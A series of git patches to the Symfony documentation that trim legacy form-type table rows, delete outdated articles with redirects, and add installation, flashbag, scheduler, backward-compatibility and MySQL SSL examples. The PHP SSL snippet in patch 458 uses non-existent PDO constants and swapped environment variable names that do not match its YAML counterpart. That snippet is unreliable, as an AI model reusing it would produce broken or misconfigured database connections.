b/reference/forms/types/search.rst @@ -11,8 +11,6 @@ Read about the input search field at `DiveIntoHTML5.info`_ +---------------------------+----------------------------------------------------------------------+ | Default invalid message | Please enter a valid search term. | +---------------------------+----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+----------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +---------------------------+----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` | diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst index 675f8e3f5cd..e8ab9c322fe 100644 --- a/reference/forms/types/tel.rst +++ b/reference/forms/types/tel.rst @@ -15,8 +15,6 @@ to input phone numbers. +---------------------------+-------------------------------------------------------------------+ | Default invalid message | Please provide a valid phone number. | +---------------------------+-------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +---------------------------+-------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` | diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst index 2ce41c6ff74..43cf0644e0e 100644 --- a/reference/forms/types/time.rst +++ b/reference/forms/types/time.rst @@ -14,8 +14,6 @@ stored as a ``DateTime`` object, a string, a timestamp or an array. +---------------------------+-----------------------------------------------------------------------------+ | Default invalid message | Please enter a valid time. | +---------------------------+-----------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------------+ | Parent type | FormType | +---------------------------+-----------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType` | diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst index 3750e1b98d8..7dae0f351b4 100644 --- a/reference/forms/types/timezone.rst +++ b/reference/forms/types/timezone.rst @@ -16,8 +16,6 @@ manually, but then you should just use the ``ChoiceType`` directly. +---------------------------+------------------------------------------------------------------------+ | Default invalid message | Please select a valid timezone. | +---------------------------+------------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+------------------------------------------------------------------------+ | Parent type | :doc:`ChoiceType </reference/forms/types/choice>` | +---------------------------+------------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` | diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst index 52bdb8eb136..71fb77cffa0 100644 --- a/reference/forms/types/ulid.rst +++ b/reference/forms/types/ulid.rst @@ -9,8 +9,6 @@ a proper :ref:`Ulid object <ulid>` when submitting the form. +---------------------------+-----------------------------------------------------------------------+ | Default invalid message | Please enter a valid ULID. | +---------------------------+-----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+-----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType` | diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst index 96984b23226..d4cb312d2bb 100644 --- a/reference/forms/types/url.rst +++ b/reference/forms/types/url.rst @@ -10,8 +10,6 @@ have a protocol. +---------------------------+-------------------------------------------------------------------+ | Default invalid message | Please enter a valid URL. | +---------------------------+-------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-------------------------------------------------------------------+ | Parent type | :doc:`TextType </reference/forms/types/text>` | +---------------------------+-------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` | diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst index c5aa6c2fdde..664c446bba9 100644 --- a/reference/forms/types/uuid.rst +++ b/reference/forms/types/uuid.rst @@ -9,8 +9,6 @@ a proper :ref:`Uuid object <uuid>` when submitting the form. +---------------------------+-----------------------------------------------------------------------+ | Default invalid message | Please enter a valid UUID. | +---------------------------+-----------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+-----------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+-----------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType` | diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst index 84ee98aff85..bcd39249015 100644 --- a/reference/forms/types/week.rst +++ b/reference/forms/types/week.rst @@ -14,8 +14,6 @@ the data can be a string or an array. +---------------------------+--------------------------------------------------------------------+ | Default invalid message | Please enter a valid week. | +---------------------------+--------------------------------------------------------------------+ -| Legacy invalid message | The value {{ value }} is not valid. | -+---------------------------+--------------------------------------------------------------------+ | Parent type | :doc:`FormType </reference/forms/types/form>` | +---------------------------+--------------------------------------------------------------------+ | Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` | From a8678292f173090fff9b8b744ac37d0a1c66c646 Mon Sep 17 00:00:00 2001 From: Vincent Chareunphol <vincent@devoji.com> Date: Tue, 24 Sep 2024 11:53:12 +0200 Subject: [PATCH 442/615] [Security] Fix role to detect logged-in user --- security.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security.rst b/security.rst index d38c9cf731d..a537bb59075 100644 --- a/security.rst +++ b/security.rst @@ -2648,7 +2648,7 @@ you have the following two options. Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role. -Secondly, you can use the special "attribute" ``IS_AUTHENTICATED_FULLY`` in place of a role:: +Secondly, you can use the special "attribute" ``IS_AUTHENTICATED`` in place of a role:: // ... From e1573270fed16a31515c8b97eb175acc09fbf2c0 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 25 Sep 2024 17:49:56 +0200 Subject: [PATCH 443/615] [Testing] Remove an old article --- _build/redirection_map | 1 + testing/http_authentication.rst | 14 -------------- 2 files changed, 1 insertion(+), 14 deletions(-) delete mode 100644 testing/http_authentication.rst diff --git a/_build/redirection_map b/_build/redirection_map index f7c1f65033a..5c11914cfcb 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -568,3 +568,4 @@ /messenger/multiple_buses /messenger#messenger-multiple-buses /frontend/encore/server-data /frontend/server-data /components/string /string +/testing/http_authentication /testing#testing_logging_in_users diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst deleted file mode 100644 index 46ddb82b87d..00000000000 --- a/testing/http_authentication.rst +++ /dev/null @@ -1,14 +0,0 @@ -How to Simulate HTTP Authentication in a Functional Test -======================================================== - -.. caution:: - - Starting from Symfony 5.1, a ``loginUser()`` method was introduced to - ease testing secured applications. See :ref:`testing_logging_in_users` - for more information about this. - - If you are still using an older version of Symfony, view - `previous versions of this article`_ for information on how to simulate - HTTP authentication. - -.. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html From 299e6f5e4a4c7a57683aebf315c99df11214beb6 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 25 Sep 2024 17:59:26 +0200 Subject: [PATCH 444/615] [Doctrine][Security] Remove an old article about registration forms --- _build/redirection_map | 1 + doctrine.rst | 1 - doctrine/registration_form.rst | 15 --------------- security.rst | 2 ++ 4 files changed, 3 insertions(+), 16 deletions(-) delete mode 100644 doctrine/registration_form.rst diff --git a/_build/redirection_map b/_build/redirection_map index 5c11914cfcb..8f31032e7a5 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -569,3 +569,4 @@ /frontend/encore/server-data /frontend/server-data /components/string /string /testing/http_authentication /testing#testing_logging_in_users +/doctrine/registration_form /security#security-make-registration-form diff --git a/doctrine.rst b/doctrine.rst index aba27545211..ca1ed25b7b5 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -1103,7 +1103,6 @@ Learn more doctrine/associations doctrine/events - doctrine/registration_form doctrine/custom_dql_functions doctrine/dbal doctrine/multiple_entity_managers diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst deleted file mode 100644 index 7063b7157a4..00000000000 --- a/doctrine/registration_form.rst +++ /dev/null @@ -1,15 +0,0 @@ -How to Implement a Registration Form -==================================== - -This article has been removed because it only explained things that are -already explained in other articles. Specifically, to implement a registration -form you must: - -#. :ref:`Define a class to represent users <create-user-class>`; -#. :doc:`Create a form </forms>` to ask for the registration information (you can - generate this with the ``make:registration-form`` command provided by the `MakerBundle`_); -#. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`; -#. :ref:`Protect some parts of your application <security-access-control>` so that - only registered users can access to them. - -.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/security.rst b/security.rst index 7b1ba5b0b1d..03f41d1714e 100644 --- a/security.rst +++ b/security.rst @@ -449,6 +449,8 @@ the database:: Doctrine repository class related to the user class must implement the :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`. +.. _security-make-registration-form: + .. tip:: The ``make:registration-form`` maker command can help you set-up the From 411cd509e036f8169d8a0975bf246d5de23946ea Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 26 Sep 2024 11:11:38 +0200 Subject: [PATCH 445/615] [Form] Remove a legacy article --- _build/redirection_map | 1 + form/form_dependencies.rst | 12 ------------ forms.rst | 1 - 3 files changed, 1 insertion(+), 13 deletions(-) delete mode 100644 form/form_dependencies.rst diff --git a/_build/redirection_map b/_build/redirection_map index 8f31032e7a5..dd4c92e0776 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -570,3 +570,4 @@ /components/string /string /testing/http_authentication /testing#testing_logging_in_users /doctrine/registration_form /security#security-make-registration-form +/form/form_dependencies /form/create_custom_field_type diff --git a/form/form_dependencies.rst b/form/form_dependencies.rst deleted file mode 100644 index 96b067362ff..00000000000 --- a/form/form_dependencies.rst +++ /dev/null @@ -1,12 +0,0 @@ -How to Access Services or Config from Inside a Form -=================================================== - -The content of this article is no longer relevant because in current Symfony -versions, form classes are services by default and you can inject services in -them using the :doc:`service autowiring </service_container/autowiring>` feature. - -Read the article about :doc:`creating custom form types </form/create_custom_field_type>` -to see an example of how to inject the database service into a form type. In the -same article you can also read about -:ref:`configuration options for form types <form-type-config-options>`, which is -another way of passing services to forms. diff --git a/forms.rst b/forms.rst index 1e891ab23ef..a90e4ee1772 100644 --- a/forms.rst +++ b/forms.rst @@ -964,7 +964,6 @@ Advanced Features: /controller/upload_file /security/csrf - /form/form_dependencies /form/create_custom_field_type /form/data_transformers /form/data_mappers From 614900182f95599352d6a9a5cf0c38f9bf83aec6 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 26 Sep 2024 13:02:49 +0200 Subject: [PATCH 446/615] Update templates.rst: Adding installation command Looks like this isn't included anywhere... --- templates.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/templates.rst b/templates.rst index 9fefc066fe0..b7c9bd755e3 100644 --- a/templates.rst +++ b/templates.rst @@ -15,6 +15,12 @@ Twig: a flexible, fast, and secure template engine. Twig Templating Language ------------------------ +To intsall Twig, run: + +.. code-block:: bash + + composer require symfony/twig-bundle + The `Twig`_ templating language allows you to write concise, readable templates that are more friendly to web designers and, in several ways, more powerful than PHP templates. Take a look at the following Twig template example. Even if it's From bfaa54a93408b1d5f9d33352028b0c6782cd153a Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Fri, 27 Sep 2024 08:49:47 +0200 Subject: [PATCH 447/615] service-container/fix-code-example --- service_container.rst | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/service_container.rst b/service_container.rst index ff7a60d441b..1f3a248dbe5 100644 --- a/service_container.rst +++ b/service_container.rst @@ -407,12 +407,11 @@ example, suppose you want to make the admin email configurable: class SiteUpdateManager { // ... - + private string $adminEmail; public function __construct( private MessageGenerator $messageGenerator, private MailerInterface $mailer, - + private string $adminEmail + + private string $adminEmail ) { } From 1d8d4b6c391a7a846574522654004a20907e9431 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 27 Sep 2024 10:10:53 +0200 Subject: [PATCH 448/615] Reword --- templates.rst | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/templates.rst b/templates.rst index b7c9bd755e3..dbdaf895c91 100644 --- a/templates.rst +++ b/templates.rst @@ -10,16 +10,20 @@ Twig: a flexible, fast, and secure template engine. Starting from Symfony 5.0, PHP templates are no longer supported. -.. _twig-language: +Installation +------------ -Twig Templating Language ------------------------- +In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command +to install both Twig language support and its integration with Symfony applications: + +.. code-block:: terminal -To intsall Twig, run: + $ composer require symfony/twig-bundle -.. code-block:: bash +.. _twig-language: - composer require symfony/twig-bundle +Twig Templating Language +------------------------ The `Twig`_ templating language allows you to write concise, readable templates that are more friendly to web designers and, in several ways, more powerful than From 4242642f490692db34c8eea5bb8f864992a68e62 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 27 Sep 2024 10:16:13 +0200 Subject: [PATCH 449/615] [WebLink] Add the missing installation section --- web_link.rst | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/web_link.rst b/web_link.rst index fb81376cba3..c19164db572 100644 --- a/web_link.rst +++ b/web_link.rst @@ -19,6 +19,16 @@ servers (Apache, nginx, Caddy, etc.) support this, but you can also use the `Docker installer and runtime for Symfony`_ created by Kévin Dunglas, from the Symfony community. +Installation +------------ + +In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command +to install the WebLink feature before using it: + +.. code-block:: terminal + + $ composer require symfony/web-link + Preloading Assets ----------------- From eacc9c3980b47b93c7889034dc088f2f483314e8 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 25 Sep 2024 19:52:39 +0200 Subject: [PATCH 450/615] [Doctrine] Delete the article about reverse engineering --- _build/redirection_map | 1 + doctrine.rst | 5 ++--- doctrine/reverse_engineering.rst | 15 --------------- 3 files changed, 3 insertions(+), 18 deletions(-) delete mode 100644 doctrine/reverse_engineering.rst diff --git a/_build/redirection_map b/_build/redirection_map index dd4c92e0776..115ec75ade2 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -571,3 +571,4 @@ /testing/http_authentication /testing#testing_logging_in_users /doctrine/registration_form /security#security-make-registration-form /form/form_dependencies /form/create_custom_field_type +/doctrine/reverse_engineering /doctrine#doctrine-adding-mapping diff --git a/doctrine.rst b/doctrine.rst index ca1ed25b7b5..dc42a5b9e73 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -84,6 +84,8 @@ affect how Doctrine functions. There are many other Doctrine commands. Run ``php bin/console list doctrine`` to see a full list. +.. _doctrine-adding-mapping: + Creating an Entity Class ------------------------ @@ -91,8 +93,6 @@ Suppose you're building an application where products need to be displayed. Without even thinking about Doctrine or databases, you already know that you need a ``Product`` object to represent those products. -.. _doctrine-adding-mapping: - You can use the ``make:entity`` command to create this class and any fields you need. The command will ask you some questions - answer them like done below: @@ -1107,7 +1107,6 @@ Learn more doctrine/dbal doctrine/multiple_entity_managers doctrine/resolve_target_entity - doctrine/reverse_engineering testing/database .. _`Doctrine`: https://www.doctrine-project.org/ diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst deleted file mode 100644 index 35c8e729c2d..00000000000 --- a/doctrine/reverse_engineering.rst +++ /dev/null @@ -1,15 +0,0 @@ -How to Generate Entities from an Existing Database -================================================== - -.. caution:: - - The ``doctrine:mapping:import`` command used to generate Doctrine entities - from existing databases was deprecated by Doctrine in 2019 and there's no - replacement for it. - - Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_ - to help you generate the code of your Doctrine entities. This command - requires manual supervision because it doesn't generate entities from - existing databases. - -.. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html From 1be72a205aa3a154a549dc3a2eb3940b850ed55c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Rapha=C3=ABl=20Geffroy?= <81738559+raphael-geffroy@users.noreply.github.com> Date: Fri, 6 Sep 2024 22:36:36 +0200 Subject: [PATCH 451/615] Add examples for flashbag peek and peekAll methods --- session.rst | 38 ++++++++++++++++++++++++++++++++------ 1 file changed, 32 insertions(+), 6 deletions(-) diff --git a/session.rst b/session.rst index a212acf9993..854c84d4f3d 100644 --- a/session.rst +++ b/session.rst @@ -181,7 +181,10 @@ can be anything. You'll use this key to retrieve the message. In the template of the next page (or even better, in your base layout template), read any flash messages from the session using the ``flashes()`` method provided -by the :ref:`Twig global app variable <twig-app-variable>`: +by the :ref:`Twig global app variable <twig-app-variable>`. +Alternatively, you can use the +:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek` +method instead to retrieve the message while keeping it in the bag. .. configuration-block:: @@ -196,6 +199,13 @@ by the :ref:`Twig global app variable <twig-app-variable>`: </div> {% endfor %} + {# same but without clearing them from the flash bag #} + {% for message in app.session.flashbag.peek('notice') %} + <div class="flash-notice"> + {{ message }} + </div> + {% endfor %} + {# read and display several types of flash messages #} {% for label, messages in app.flashes(['success', 'warning']) %} {% for message in messages %} @@ -214,6 +224,15 @@ by the :ref:`Twig global app variable <twig-app-variable>`: {% endfor %} {% endfor %} + {# or without clearing the flash bag #} + {% for label, messages in app.session.flashbag.peekAll() %} + {% for message in messages %} + <div class="flash-{{ label }}"> + {{ message }} + </div> + {% endfor %} + {% endfor %} + .. code-block:: php-standalone // display warnings @@ -221,6 +240,11 @@ by the :ref:`Twig global app variable <twig-app-variable>`: echo '<div class="flash-warning">'.$message.'</div>'; } + // display warnings without clearing them from the flash bag + foreach ($session->getFlashBag()->peek('warning', []) as $message) { + echo '<div class="flash-warning">'.$message.'</div>'; + } + // display errors foreach ($session->getFlashBag()->get('error', []) as $message) { echo '<div class="flash-error">'.$message.'</div>'; @@ -233,15 +257,17 @@ by the :ref:`Twig global app variable <twig-app-variable>`: } } + // display all flashes at once without clearing the flash bag + foreach ($session->getFlashBag()->peekAll() as $type => $messages) { + foreach ($messages as $message) { + echo '<div class="flash-'.$type.'">'.$message.'</div>'; + } + } + It's common to use ``notice``, ``warning`` and ``error`` as the keys of the different types of flash messages, but you can use any key that fits your needs. -.. tip:: - - You can use the - :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek` - method instead to retrieve the message while keeping it in the bag. Configuration ------------- From cc96d7c59b4893a499c9bb2dc5fce240edffcf15 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 27 Sep 2024 12:45:29 +0200 Subject: [PATCH 452/615] Minor tweak --- session.rst | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/session.rst b/session.rst index 854c84d4f3d..78f71b9d46d 100644 --- a/session.rst +++ b/session.rst @@ -184,7 +184,7 @@ read any flash messages from the session using the ``flashes()`` method provided by the :ref:`Twig global app variable <twig-app-variable>`. Alternatively, you can use the :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek` -method instead to retrieve the message while keeping it in the bag. +method to retrieve the message while keeping it in the bag: .. configuration-block:: @@ -268,7 +268,6 @@ It's common to use ``notice``, ``warning`` and ``error`` as the keys of the different types of flash messages, but you can use any key that fits your needs. - Configuration ------------- From fc90d8335327ab9f3a4989e6a16349c794a500a2 Mon Sep 17 00:00:00 2001 From: W0rma <beck.worma@gmail.com> Date: Tue, 1 Oct 2024 08:07:25 +0200 Subject: [PATCH 453/615] [Scheduler] Add example about how to pass arguments to a Symfony command --- scheduler.rst | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/scheduler.rst b/scheduler.rst index 160ba26e0cb..a77d2239259 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -473,6 +473,20 @@ The attribute takes more parameters to customize the trigger:: // defines the timezone to use #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')] +Arguments/options for Symfony commands are passed as plain string:: + + use Symfony\Component\Console\Command\Command; + + #[AsCronTask('0 0 * * *', arguments: 'arg --my-option')] + class MyCommand extends Command + { + protected function configure(): void + { + $this->addArgument('my-arg'); + $this->addOption('my-option'); + } + } + .. versionadded:: 6.4 The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute @@ -522,6 +536,20 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg } } +Arguments/options for Symfony commands are passed as plain string:: + + use Symfony\Component\Console\Command\Command; + + #[AsPeriodicTask(frequency: '1 day', arguments: 'arg --my-option')] + class MyCommand extends Command + { + protected function configure(): void + { + $this->addArgument('my-arg'); + $this->addOption('my-option'); + } + } + .. versionadded:: 6.4 The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute From cc5d2a17fe786cf951bbc1d0e016a6a6c5944a7d Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Tue, 1 Oct 2024 21:29:48 +0200 Subject: [PATCH 454/615] [DomCrawler] Fixing code typo Page: https://symfony.com/doc/6.4/components/dom_crawler.html#accessing-node-values --- components/dom_crawler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst index 4440a35f0ea..00e5d8795ea 100644 --- a/components/dom_crawler.rst +++ b/components/dom_crawler.rst @@ -277,7 +277,7 @@ The result is an array of values returned by the anonymous function calls. When using nested crawler, beware that ``filterXPath()`` is evaluated in the context of the crawler:: - $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): avoid { + $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): void { // DON'T DO THIS: direct child can not be found $subCrawler = $parentCrawler->filterXPath('sub-tag/sub-child-tag'); From 9cedefa06ba903f301ccebd2281d4649e42544e5 Mon Sep 17 00:00:00 2001 From: Damien Louis <72412142+damien-louis@users.noreply.github.com> Date: Tue, 1 Oct 2024 13:54:01 +0200 Subject: [PATCH 455/615] Update testing.rst --- testing.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/testing.rst b/testing.rst index 281f8c45ad8..ae9a42b9b2c 100644 --- a/testing.rst +++ b/testing.rst @@ -759,6 +759,10 @@ You can pass any :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and stores in the session of the test client. +To set a specific firewall (``main`` is set by default):: + + $client->loginUser($testUser, 'my_firewall'); + .. note:: By design, the ``loginUser()`` method doesn't work when using stateless firewalls. From 72d416c3e1856a00f7219c991c3d00fc87bc749f Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Tue, 8 Oct 2024 16:15:42 +0200 Subject: [PATCH 456/615] Add BC promise rules for constructors --- contributing/code/bc.rst | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst index 3a4f16c5208..a3664a0c32c 100644 --- a/contributing/code/bc.rst +++ b/contributing/code/bc.rst @@ -258,6 +258,14 @@ Make public or protected Yes Remove private property Yes **Constructors** Add constructor without mandatory arguments Yes :ref:`[1] <note-1>` +:ref:`Add argument without a default value <add-argument-public-method>` No +Add argument with a default value Yes :ref:`[11] <note-11>` +Remove argument No :ref:`[3] <note-3>` +Add default value to an argument Yes +Remove default value of an argument No +Add type hint to an argument No +Remove type hint of an argument Yes +Change argument type No Remove constructor No Reduce visibility of a public constructor No Reduce visibility of a protected constructor No :ref:`[7] <note-7>` @@ -473,6 +481,10 @@ a return type is only possible with a child type. constructors of Attribute classes. Using PHP named arguments might break your code when upgrading to newer Symfony versions. +.. _note-11: + +**[11]** Only optional argument(s) of a constructor at last position may be added. + Making Code Changes in a Backward Compatible Way ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From dff0d33e07b828c9e78a6a770e9edc018bd9c14d Mon Sep 17 00:00:00 2001 From: lacpandore <la.catoire@gmail.ocm> Date: Tue, 8 Oct 2024 22:12:10 +0200 Subject: [PATCH 457/615] Update doctrine.rst on ssl documentation --- reference/configuration/doctrine.rst | 57 ++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index e73f4eca599..ea5eb98ea02 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -470,5 +470,62 @@ If the ``dir`` configuration is set and the ``is_bundle`` configuration is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with the path of the bundle. +SSL Connection with MySQL +~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to configure a secure SSL connection to MySQL in your Symfony application using Doctrine, you need to set specific options for the SSL certificates. Here's how to configure the connection using environment variables for the certificate paths: + +.. configuration-block:: + + .. code-block:: yaml + + doctrine: + dbal: + url: '%env(DATABASE_URL)%' + server_version: '8.0.31' + driver: 'pdo_mysql' + options: + # SSL private key (PDO::MYSQL_ATTR_SSL_KEY) + 1007: '%env(MYSQL_SSL_KEY)%' + # SSL certificate (PDO::MYSQL_ATTR_SSL_CERT) + 1008: '%env(MYSQL_SSL_CERT)%' + # SSL CA authority (PDO::MYSQL_ATTR_SSL_CA) + 1009: '%env(MYSQL_SSL_CA)%' + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:doctrine="http://symfony.com/schema/dic/doctrine" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/doctrine + https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd"> + + <doctrine:config> + <doctrine:dbal + url="%env(DATABASE_URL)%" + server-version="8.0.31" + driver="pdo_mysql"> + + <doctrine:option key="1007">%env(MYSQL_SSL_KEY)%</doctrine:option> + <doctrine:option key="1008">%env(MYSQL_SSL_CERT)%</doctrine:option> + <doctrine:option key="1009">%env(MYSQL_SSL_CA)%</doctrine:option> + </doctrine:dbal> + </doctrine:config> + </container> + +Make sure that your environment variables are correctly set in your ``.env.local`` or ``.env.local.php`` file as follows: + +.. code-block:: bash + + MYSQL_SSL_KEY=/path/to/your/server-key.pem + MYSQL_SSL_CERT=/path/to/your/server-cert.pem + MYSQL_SSL_CA=/path/to/your/ca-cert.pem + +This configuration secures your MySQL connection with SSL by specifying the paths to the required certificates. + + .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html .. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html From 1b5859a1a6e6b8d0db1ab6806716bed80d5c1974 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 9 Oct 2024 14:58:06 +0200 Subject: [PATCH 458/615] Minor tweaks --- reference/configuration/doctrine.rst | 26 ++++++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index ea5eb98ea02..8a1062a54ae 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -473,7 +473,9 @@ the path of the bundle. SSL Connection with MySQL ~~~~~~~~~~~~~~~~~~~~~~~~~ -If you want to configure a secure SSL connection to MySQL in your Symfony application using Doctrine, you need to set specific options for the SSL certificates. Here's how to configure the connection using environment variables for the certificate paths: +To securely configure an SSL connection to MySQL in your Symfony application +with Doctrine, you need to specify the SSL certificate options. Here's how to +set up the connection using environment variables for the certificate paths: .. configuration-block:: @@ -516,7 +518,27 @@ If you want to configure a secure SSL connection to MySQL in your Symfony applic </doctrine:config> </container> -Make sure that your environment variables are correctly set in your ``.env.local`` or ``.env.local.php`` file as follows: + .. code-block:: php + + // config/packages/doctrine.php + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $doctrine->dbal() + ->connection('default') + ->url(env('DATABASE_URL')->resolve()) + ->serverVersion('8.0.31') + ->driver('pdo_mysql'); + + $doctrine->dbal()->defaultConnection('default'); + + $doctrine->dbal()->option(\PDO::MYSQL_ATTR_SSL_KEY, '%env(MYSQL_SSL_KEY)%'); + $doctrine->dbal()->option(\PDO::MYSQL_SSL_CERT, '%env(MYSQL_ATTR_SSL_CERT)%'); + $doctrine->dbal()->option(\PDO::MYSQL_SSL_CA, '%env(MYSQL_ATTR_SSL_CA)%'); + }; + +Ensure your environment variables are correctly set in the ``.env.local`` or +``.env.local.php`` file as follows: .. code-block:: bash From e5b9efbfb466e3b476afe6823a82c1087651316e Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Thu, 10 Oct 2024 10:44:22 +0200 Subject: [PATCH 459/615] Use type hint --- controller/forwarding.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/forwarding.rst b/controller/forwarding.rst index a0e0648517a..8d8be859da5 100644 --- a/controller/forwarding.rst +++ b/controller/forwarding.rst @@ -11,7 +11,7 @@ and calls the defined controller. The ``forward()`` method returns the :class:`Symfony\\Component\\HttpFoundation\\Response` object that is returned from *that* controller:: - public function index($name): Response + public function index(string $name): Response { $response = $this->forward('App\Controller\OtherController::fancy', [ 'name' => $name, From 5bb26548bea584015942341eaf2ad3c80578c9cb Mon Sep 17 00:00:00 2001 From: Ahmed EBEN HASSINE <ahmed.eben-hassine@codein.fr> Date: 